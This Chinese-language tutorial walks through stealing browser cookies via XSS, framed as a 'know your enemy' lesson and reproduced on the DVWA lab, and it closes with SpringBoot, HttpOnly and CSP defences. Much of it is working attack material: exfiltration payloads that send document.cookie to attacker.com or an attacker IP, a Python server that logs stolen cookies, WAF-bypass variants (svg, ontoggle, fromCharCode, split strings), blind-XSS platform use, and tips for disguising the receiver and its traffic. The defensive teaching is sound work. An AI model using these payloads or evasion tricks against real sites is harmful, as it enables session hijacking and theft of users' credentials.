1. 项目概述:一次关于XSS与Cookie窃取的真实攻防推演
在网络安全领域,跨站脚本攻击(XSS)就像一把能打开用户隐私大门的“万能钥匙”,而Cookie则是这扇门后最直接的通行证。今天要聊的,不是纸上谈兵的理论,而是一次基于真实攻防场景的深度推演:如何利用XSS漏洞,将用户的Cookie“悄无声息”地搬运到攻击者自己的服务器上。这个话题听起来有些敏感,但它的价值恰恰在于“知己知彼”——只有透彻理解攻击者是如何一步步得手的,我们作为开发者、运维或安全爱好者,才能筑起真正有效的防线。无论是想入门渗透测试的新手,还是希望加固自己SpringBoot应用的老手,这次从攻击者视角出发的“实战复盘”,都能让你对XSS的危害、Cookie的安全机制有颠覆性的认识。
很多人对XSS窃取Cookie的理解还停留在<script>alert(document.cookie)</script>这种弹窗演示阶段,认为这不过是无害的“恶作剧”。但实际上,攻击链条的完成度远不止于此。从发现一个可注入点,到构造出能绕过基础过滤的Payload,再到搭建一个能稳定接收数据的远程服务器,最后成功拿到Cookie并加以利用,这中间每一个环节都充满了技术细节和对抗思路。本次推演将完全模拟攻击者的操作路径,拆解其中用到的关键技术,比如如何利用Image对象、XMLHttpRequest或window.open进行数据外带,以及如何用Python快速搭建一个“接收端”。更重要的是,我会分享在实际测试环境中(如DVWA)反复尝试后总结出的那些“坑点”和技巧,这些是你在标准文档里很难看到的实战经验。
2. 攻击原理与核心链条拆解
2.1 为什么XSS能拿到Cookie?
要理解整个攻击,必须从浏览器同源策略(SOP)和Cookie的存储机制说起。同源策略是浏览器最核心的安全基石之一,它限制了来自不同源的文档或脚本如何交互。简单来说,来自https://bank.com的脚本不能直接读取https://mail.com的数据。然而,Cookie的存储和发送机制却在这里开了一个“口子”:Cookie通常由服务器通过Set-Cookie响应头设置,并被浏览器自动存储。关键点在于,浏览器在向同一域名发起后续请求时,会自动将与该域名关联的Cookie附加在HTTP请求头中,这个过程不需要脚本显式操作。
XSS攻击正是钻了这个“自动携带”机制的空子。攻击者通过在受害网站上注入恶意JavaScript代码,这段代码在受害用户的浏览器上下文中执行。由于代码是在目标网站(例如https://vulnerable-site.com)的页面内运行的,因此它完全拥有访问该页面DOM、包括document.cookie属性的权限。此时,同源策略不再构成障碍,因为恶意脚本与网站本身同源。攻击者编写的脚本可以轻易地读取document.cookie,获取当前用户在该站点下的身份凭证。
注意:
HttpOnly属性是防御此类攻击的关键。如果Cookie被标记为HttpOnly,那么客户端JavaScript将无法通过document.cookie访问它。这迫使攻击者寻找其他攻击面,但并不能完全杜绝XSS的危害,因为攻击者仍可模拟用户操作(如发起转账请求)。
2.2 数据外带:如何把Cookie“送出去”
读取到Cookie只是第一步,如何将这份敏感数据传递到攻击者控制的服务器(通常称为“攻击机”或“C2服务器”)是完成攻击的关键,这一步被称为“数据外带”(Data Exfiltration)。攻击者无法直接在受害者浏览器上写文件,必须通过网络请求将数据发送出去。在实战中,有几种经典且高效的方法:
Image对象请求:这是最隐蔽、兼容性最好的方法之一。通过动态创建一个
Image对象,并将其src属性设置为攻击者的服务器地址,并将Cookie作为URL参数拼接上去。浏览器会立即尝试加载这个“图片”,从而向攻击者的服务器发起一个GET请求。new Image().src = 'http://attacker.com/steal?c=' + encodeURIComponent(document.cookie);这种方式之所以隐蔽,是因为它不会引起页面跳转或弹出新窗口,用户几乎感知不到。服务器端只需要记录访问日志即可获取Cookie。
XMLHttpRequest / Fetch API:这种方式更灵活,可以发送POST请求,能携带更多数据,且更利于攻击者后端处理。
var xhr = new XMLHttpRequest(); xhr.open('POST', 'http://attacker.com/log', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('cookie=' + encodeURIComponent(document.cookie));但它的限制在于,可能会受到CORS(跨源资源共享)策略的阻拦。不过,在许多简单场景或配置不当的服务器上,它依然有效。
表单提交与iframe:创建一个隐藏的表单,目标指向攻击者服务器,然后自动提交。或者创建一个隐藏的
iframe,通过修改其src来发送请求。这种方法常用于发送大量数据。window.location 或 window.open:这会导致浏览器导航或打开新窗口,用户体验影响较大,容易被察觉,但在某些需要交互或盲打(Blind XSS)的场景下仍有应用。
window.open('http://attacker.com/steal?c=' + encodeURIComponent(document.cookie));
在实际攻击中,攻击者往往会根据目标网站的具体过滤规则,对Payload进行各种混淆和变形,例如将代码转换成HTML实体、使用String.fromCharCode、利用JavaScript事件(如onerror、onload)等,以绕过WAF(Web应用防火墙)或简单的输入过滤。
2.3 攻击者服务器的角色:接收与处理
攻击链的最后一环是攻击者控制的服务器。它需要做两件事:接收和存储。通常,攻击者会使用一个带有公网IP的VPS(虚拟专用服务器),并在上面运行一个简单的HTTP服务来监听特定端口。
- 接收:服务器监听一个端口(如8080),等待来自受害者浏览器的HTTP请求。当上面提到的恶意脚本被执行时,浏览器发出的请求就会到达这个端口。
- 存储:服务器端脚本(可以是Python、PHP、Node.js等)解析请求,从URL参数(GET请求)或请求体(POST请求)中提取出Cookie参数,然后将其保存到文件或数据库中。
一个极简的Python HTTP服务器示例如下,它清晰地展示了接收过程:
# 使用Python3内置的http.server模块 import http.server import urllib.parse class MyHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # 解析请求路径,获取查询参数 parsed_path = urllib.parse.urlparse(self.path) query_params = urllib.parse.parse_qs(parsed_path.query) # 假设Cookie通过‘c’参数传递 stolen_cookie = query_params.get('c', [''])[0] if stolen_cookie: print(f"[+] 窃取到Cookie: {stolen_cookie}") # 这里可以将Cookie写入文件或数据库 with open('stolen_cookies.log', 'a') as f: f.write(stolen_cookie + '\n') # 返回一个响应,例如一个1x1像素的透明GIF图片,使请求更隐蔽 self.send_response(200) self.send_header('Content-Type', 'image/gif') self.end_headers() self.wfile.write(b'GIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;') def log_message(self, format, *args): # 禁止默认的日志输出,保持隐蔽 pass if __name__ == '__main__': server_address = ('0.0.0.0', 8080) # 监听所有网络接口的8080端口 httpd = http.server.HTTPServer(server_address, MyHandler) print('[*] 恶意服务器正在监听 0.0.0.0:8080 ...') httpd.serve_forever()这个服务器会安静地记录所有收到的Cookie,并返回一个微小的图片,使前端的Image请求看起来是成功的,避免了因404错误而引起怀疑。
3. 实战环境搭建与漏洞复现
3.1 靶场选择与配置:DVWA
为了合法、安全地学习和研究,我们必须在隔离的环境中进行。Damn Vulnerable Web Application (DVWA) 是一个极佳的PHP/MySQL靶场,它故意包含了多种安全漏洞,且允许用户调整安全等级(Low, Medium, High, Impossible)。我们选择其“存储型XSS(Stored XSS)”模块进行复现。
搭建步骤简述:
- 准备环境:安装并配置好PHP(>=5.4)和MySQL。使用XAMPP、WAMP或Docker镜像(如
vulnerables/web-dvwa)可以快速完成。 - 部署DVWA:将DVWA源码解压到Web服务器根目录(如
htdocs)。 - 数据库配置:访问DVWA首页,根据提示创建或配置数据库连接文件(
config/config.inc.php)。 - 登录:默认凭证为
admin/password。 - 设置安全等级:在DVWA Security页面,将安全级别设置为“Low”。这个级别几乎没有任何防护,方便我们理解最原始的攻击形态。
3.2 攻击机准备:简易HTTP服务器搭建
在另一台机器或本机的另一个终端上,我们需要搭建攻击接收服务器。上面已经给出了一个Python示例。这里再提供两种更快捷的方式:
方法一:Python单行命令(最快捷)对于快速测试,Python的http.server模块是神器。
# Python3 python3 -m http.server 8080 # Python2 python2 -m SimpleHTTPServer 8080这条命令会在当前目录启动一个监听8080端口的HTTP服务器。所有访问日志会打印在终端。但它的功能很简单,无法自定义请求处理逻辑来提取和保存Cookie。适合快速验证Payload是否触发了对外请求。
方法二:使用Netcat监听(网络调试瑞士军刀)Netcat (nc) 是一个强大的网络工具,可以创建任意TCP/UDP连接和监听。
nc -lvnp 8080-l监听模式,-v详细输出,-n不解析域名,-p指定端口。当有连接进入时,它会打印出原始的HTTP请求数据,我们可以从中手动提取Cookie。这种方式非常原始,但足够直观。
对于正式的“攻击演练”,我强烈推荐使用上面那个自定义的Python脚本。它更接近真实攻击场景,能自动化地处理和存储数据。运行脚本前,请确保你的攻击机防火墙开放了对应端口(如8080),并且拥有一个能让靶场访问到的IP地址(如果是本地实验,都用127.0.0.1即可)。
3.3 攻击Payload构造与注入
现在进入核心环节。假设DVWA的存储型XSS页面有一个“Name”和“Message”输入框,我们的目标是将恶意代码存入数据库,当其他用户(或管理员)查看该页面时自动执行。
基础Payload:在安全级别为“Low”的DVWA中,输入过滤几乎不存在。我们可以直接注入:
<script>new Image().src='http://攻击机IP:8080/?c='+encodeURIComponent(document.cookie);</script>将其填入“Message”框并提交。一旦提交成功,这段脚本就被存储到数据库。此后,任何用户(包括你自己)浏览到包含这条留言的页面时,脚本都会执行,向你的攻击机服务器发送一个携带了该用户Cookie的请求。
实操中的技巧与变形:
- 长度限制绕过:有些输入框有前端
maxlength限制。可以直接在浏览器开发者工具中修改该输入框的HTML属性,移除maxlength,或者直接通过Burp Suite等代理工具拦截并修改POST请求包。 - 事件处理器利用:如果
<script>标签被过滤,可以尝试使用HTML标签的事件属性。
这里构造了一个<img src=1 onerror="javascript:var i=new Image();i.src='http://攻击机IP:8080/?c='+encodeURIComponent(document.cookie);">src无效的<img>标签,其onerror事件会在图片加载失败时执行我们的JS代码。 - 闭合与混淆:应对简单的字符串过滤。例如,如果网站转义了引号,可以使用
String.fromCharCode来构造字符串。
上面这段代码解码后就是<script>eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))</script>alert(document.cookie)。对于外带URL,也可以用同样方式混淆。
注入过程实录:
- 确保DVWA安全级别为Low,并进入“XSS (Stored)”页面。
- 启动攻击机上的Python接收脚本,确认监听端口(如8080)。
- 在DVWA的“Name”字段随便输入(如“test”),在“Message”字段输入我们的恶意Payload,例如:
<img src=x onerror="window.open('http://192.168.1.100:8080/steal?c='+document.cookie)"> - 点击“Sign Guestbook”提交。
- 提交后页面会刷新,此时注入的代码已存入数据库。由于当前用户(你自己)也是浏览者,脚本会立即执行。
- 观察攻击机终端。如果网络通畅且Payload正确,你应该会立刻看到一条访问记录,并且
steal?c=后面的参数就是你的DVWA会话Cookie。 - 为了模拟其他用户受害,你可以退出登录(或打开浏览器无痕窗口),然后以访客身份再次浏览那个留言页面,攻击机同样会收到新用户的Cookie。
4. 深入Payload分析与高级绕过技巧
4.1 常见Payload变种解析
在实际渗透测试中,直接使用基础Payload成功率很低。网站通常会部署一些过滤机制。下面分析几种高级变种及其应用场景:
- 利用
<svg>标签:SVG标签内可以包含脚本,有时能绕过只针对<script>或常见HTML事件的过滤。<svg/onload="location.href='http://attacker.com/?c='+document.cookie"> - 利用
<details>标签的ontoggle事件:这是一个相对冷门的事件,可能不被某些WAF规则覆盖。<details open ontoggle="fetch('http://attacker.com/?c='+document.cookie)"> - JavaScript伪协议:在支持JavaScript协议的上下文(如
<a href>、<iframe src>)中使用。<a href="javascript:fetch('http://attacker.com/?c='+document.cookie)">点击领奖</a> - 基于DOM的XSS与外带:有时漏洞点不在服务端渲染,而在前端JS动态操作DOM时。Payload可能需要适应具体的JS代码逻辑。
// 假设网站有类似代码:document.getElementById('output').innerHTML = userInput; // 那么Payload可以是: <img src=1 onerror="exfiltrate()"> <script>function exfiltrate(){new Audio().src='http://attacker.com/?c='+document.cookie;}</script>
4.2 对抗过滤与WAF的实用技巧
- 大小写混淆:有些简单的正则匹配是大小写敏感的。
<ScRiPt>alert(1)</ScRiPt> <IMG SRC=1 ONERROR=alert(1)> - 双写绕过:如果过滤方式是删除一次匹配到的字符串,可以双写。
<scr<script>ipt>alert(1)</scr</script>ipt> - 编码绕过:
- HTML实体编码:
<变成<,>变成>。但如果是在HTML标签属性内,浏览器会先解码再执行。<img src=1 onerror=alert(1)> - JavaScript Unicode转义:在JS上下文中有效。
\u0061\u006c\u0065\u0072\u0074(1)
- HTML实体编码:
- 利用模板字符串和反引号:现代JS语法,可能绕过基于字符串拼接检测的规则。
<script>fetch(`http://attacker.com/?c=${document.cookie}`)</script> - 拆分与拼接:将关键函数或字符串拆散,在运行时拼接。
<script> var a = 'docu'; var b = 'ment'; var c = '.coo'; var d = 'kie'; var url = 'http://attacker.com/?c=' + window[a+b][c+d]; new Image().src = url; </script>
4.3 盲打XSS与平台使用
在“反射型XSS”或某些“存储型XSS”场景中,我们无法立即看到执行结果(例如,Payload被提交到后台管理员查看的页面)。这就是“盲打XSS”(Blind XSS)。我们需要一个稳定、可远程接收数据的平台。
XSS平台的作用:它是一个功能完善的攻击者服务器,提供Payload生成、数据接收、管理界面等功能。你只需要从平台获取一个为你专属生成的短链接Payload,将其注入到目标中。当漏洞被触发时,平台会自动记录并展示受害者Cookie、IP、User-Agent、页面URL甚至页面截图等信息。
使用流程:
- 在XSS平台(如xss.tf、xsshs等,请仅在授权测试中使用)注册并创建一个项目。
- 平台会生成一个类似
<script src="http://你的平台域名/abc123"></script>的Payload。 - 将此Payload注入到目标应用的可疑位置(留言板、客服反馈、搜索框等)。
- 等待受害者(通常是后台管理员)触发漏洞。
- 在平台管理界面查看捕获到的数据。
与自建服务器的对比:
| 特性 | 自建Python/Node.js服务器 | 专业XSS平台 |
|---|---|---|
| 上手难度 | 中等,需编码和部署 | 简单,开箱即用 |
| 可控性 | 完全控制,可深度定制 | 受平台功能限制 |
| 隐蔽性 | 取决于服务器配置和域名 | 平台域名可能被安全软件标记 |
| 功能丰富度 | 基础,需自行开发 | 丰富,自带数据管理、JS模块等 |
| 适用场景 | 学习原理、定制化攻击、内网测试 | 快速实战、盲打、红队行动 |
对于初学者,从自建服务器开始能更深刻地理解数据流向。在实战中,成熟的XSS平台效率更高。
5. 从攻击到防御:开发者视角的加固方案
理解了攻击的全貌,防御的思路就清晰了。防御的核心原则是:不相信任何用户输入,并对输出进行严格处理。
5.1 输入过滤与输出编码
- 输入过滤:在数据进入应用逻辑前进行校验。但要注意,过滤的规则必须严格且白名单化。例如,对于用户名,只允许字母数字;对于留言内容,可以过滤掉特定的HTML标签和JavaScript事件。然而,完全依赖输入过滤是危险的,因为上下文复杂,容易绕过。
- 输出编码:这是更根本、更有效的措施。根据数据将要放置的上下文,进行相应的编码。
- HTML上下文:将
<、>、&、"、'等字符转换为HTML实体(<,>,&,",')。 - JavaScript上下文:使用
\uXXXX进行Unicode转义,或使用JSON.stringify。 - URL上下文:使用百分比编码(URL Encoding)。
- CSS上下文:进行严格的编码或验证。
- HTML上下文:将
以SpringBoot为例,如何避免XSS?
- 使用成熟的库:不要自己写正则表达式过滤。推荐使用OWASP Java Encoder或ESAPI库。
// 使用OWASP Java Encoder import org.owasp.encoder.Encode; @Controller public class MyController { @GetMapping("/safe") public String safePage(@RequestParam String userInput, Model model) { // 对输出到HTML正文的内容进行编码 model.addAttribute("safeOutput", Encode.forHtml(userInput)); // 对输出到HTML属性中的内容进行编码 model.addAttribute("safeAttr", Encode.forHtmlAttribute(userInput)); // 对输出到JavaScript中的内容进行编码 model.addAttribute("safeJs", Encode.forJavaScript(userInput)); return "page"; } } - 模板引擎自动转义:Thymeleaf、FreeMarker等现代模板引擎默认开启HTML转义。确保你不要使用不安全的指令(如Thymeleaf的
th:utext)来输出未经验证的数据。 - HttpOnly与Secure Cookie:为会话Cookie设置
HttpOnly和Secure标志。// 在Spring Security配置或Servlet Filter中 @Bean public CookieSerializer cookieSerializer() { DefaultCookieSerializer serializer = new DefaultCookieSerializer(); serializer.setUseHttpOnlyCookie(true); serializer.setUseSecureCookie(true); // 仅HTTPS时传输 serializer.setSameSite("Strict"); // 防止CSRF return serializer; }HttpOnly使得Cookie无法被JS读取,直接废掉了本文讨论的绝大部分攻击方式。Secure强制Cookie仅通过HTTPS传输,防止中间人窃听。
5.2 内容安全策略
内容安全策略(CSP)是一道强大的后防线。它通过HTTP响应头告诉浏览器,哪些外部资源(脚本、样式、图片等)可以加载和执行。
一个严格的CSP头部可以这样设置:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none';这个策略意味着:
default-src 'self':默认只允许加载同源资源。script-src 'self' https://trusted.cdn.com:脚本只能来自同源或指定的可信CDN。object-src 'none':完全禁止<object>、<embed>、<applet>等插件。
即使攻击者成功注入了<script>alert(1)</script>,浏览器也会因为CSP的限制而拒绝执行它。CSP能极大缓解XSS的影响,但配置需要谨慎,错误的配置可能导致网站功能损坏。
5.3 漏洞挖掘与自查清单
作为开发者或安全人员,可以定期进行自我检查:
- 代码审计:检查所有用户输入点(参数、头、表单、URL)是否都经过了适当的验证和编码。
- 依赖检查:使用OWASP Dependency-Check等工具扫描项目第三方库的已知漏洞。
- 自动化扫描:在测试环境使用ZAP、Burp Suite等工具的主动扫描功能。
- 手动测试:在输入框尝试提交
<>'"&{}等特殊字符,观察输出是否被原样显示或导致错误。 - Cookie检查:确保所有敏感Cookie都设置了
HttpOnly和Secure属性。 - CSP检查:为生产环境部署合适的CSP策略,并利用浏览器的CSP报告功能收集违规行为。
6. 常见问题与排查实录
在复现和测试过程中,你肯定会遇到各种问题。以下是我踩过的一些坑和解决方案:
Q1: Payload提交了,但攻击机没收到任何请求。
- 检查网络:确保靶场和攻击机IP互通(本地环境用127.0.0.1)。关闭防火墙或开放对应端口。
- 检查Payload语法:在浏览器开发者工具的Console中,手动执行Payload里的JS代码,看是否有语法错误。特别注意引号闭合和URL拼接。
- 检查页面是否执行:查看页面HTML源码,确认注入的脚本是否被正确插入,还是被HTML实体编码了(如
<变成<)。 - 查看浏览器控制台:打开开发者工具的Console和Network标签页。Console会报告JS错误,Network会显示被浏览器阻止的跨域请求(CORS错误)。
Q2: 收到了请求,但Cookie参数为空。
- 检查Cookie作用域:
document.cookie只能读取当前域名下的Cookie。确保你测试的页面域名和Cookie的域名匹配。 - 检查HttpOnly:如果Cookie设置了
HttpOnly,document.cookie将无法读取它。这是正常的,也是有效的防御。 - 检查路径:Cookie可能有Path限制。确保你触发XSS的页面路径在Cookie的Path范围内。
Q3: 在真实网站测试时,Payload似乎被过滤或转义了。
- 尝试编码和混淆:使用前面提到的大小写、HTML实体、Unicode、拆分拼接等技巧。
- 探测过滤规则:先提交一些简单的测试字符串,如
<test>、“onerror=”、javascript:,观察输出结果,判断是黑名单过滤还是转义。 - 寻找其他注入点:不要只盯着输入框。尝试URL参数、HTTP请求头(如User-Agent、Referer)、文件上传名等。
Q4: 使用python -m http.server能收到请求,但自定义Python脚本收不到。
- 检查脚本绑定地址:确保脚本绑定的是
0.0.0.0(所有接口)而不是127.0.0.1(仅本地环回)。如果攻击机和靶场不在同一台机器,必须绑定0.0.0.0。 - 检查端口占用:使用
netstat -an | grep 8080(Linux/Mac)或netstat -ano | findstr 8080(Windows)查看端口是否被正确监听。 - 检查请求处理逻辑:你的
do_GET方法是否正确解析了请求路径和参数?是否发送了正确的HTTP响应?浏览器可能会因为收到异常响应而中断请求。
Q5: 如何更隐蔽地接收数据?
- 使用HTTPS:自签名证书或使用云服务商提供的免费证书,避免数据在传输中被明文嗅探。
- 域名与路径伪装:使用一个看起来正常的域名和路径,如
/api/collect.gif?t=track,伪装成统计请求。 - 短链接服务:将长Payload URL通过短链接服务缩短,减少可疑性。
- 数据加密:在Payload中对Cookie进行简单的Base64或XOR加密,在服务器端解密。
Q6: 除了Cookie,XSS还能窃取什么?XSS的危害远不止Cookie。在受害者浏览器上下文中执行的脚本几乎可以模拟用户的所有操作:
- 会话劫持:使用窃取的Cookie直接登录用户账户。
- 键盘记录:监听页面的
onkeypress事件。 - 钓鱼:动态伪造一个登录框,诱骗用户输入密码。
- 发起恶意请求:以用户身份发起转账、修改密码、发布内容等CSRF攻击。
- 获取本地存储:读取
localStorage、sessionStorage。 - 浏览器信息收集:获取用户插件列表、屏幕分辨率、时区等,用于指纹识别。
理解XSS窃取Cookie的完整链条,是Web安全入门至关重要的一课。它像一把双刃剑,既揭示了攻击者无孔不入的思路,也为我们点亮了防御道路上必须堵住的每一个缺口。从今天起,在写每一行处理用户输入的代码时,都多问自己一句:“如果这里被注入,会发生什么?” 这种安全意识,比任何具体的技术都更重要。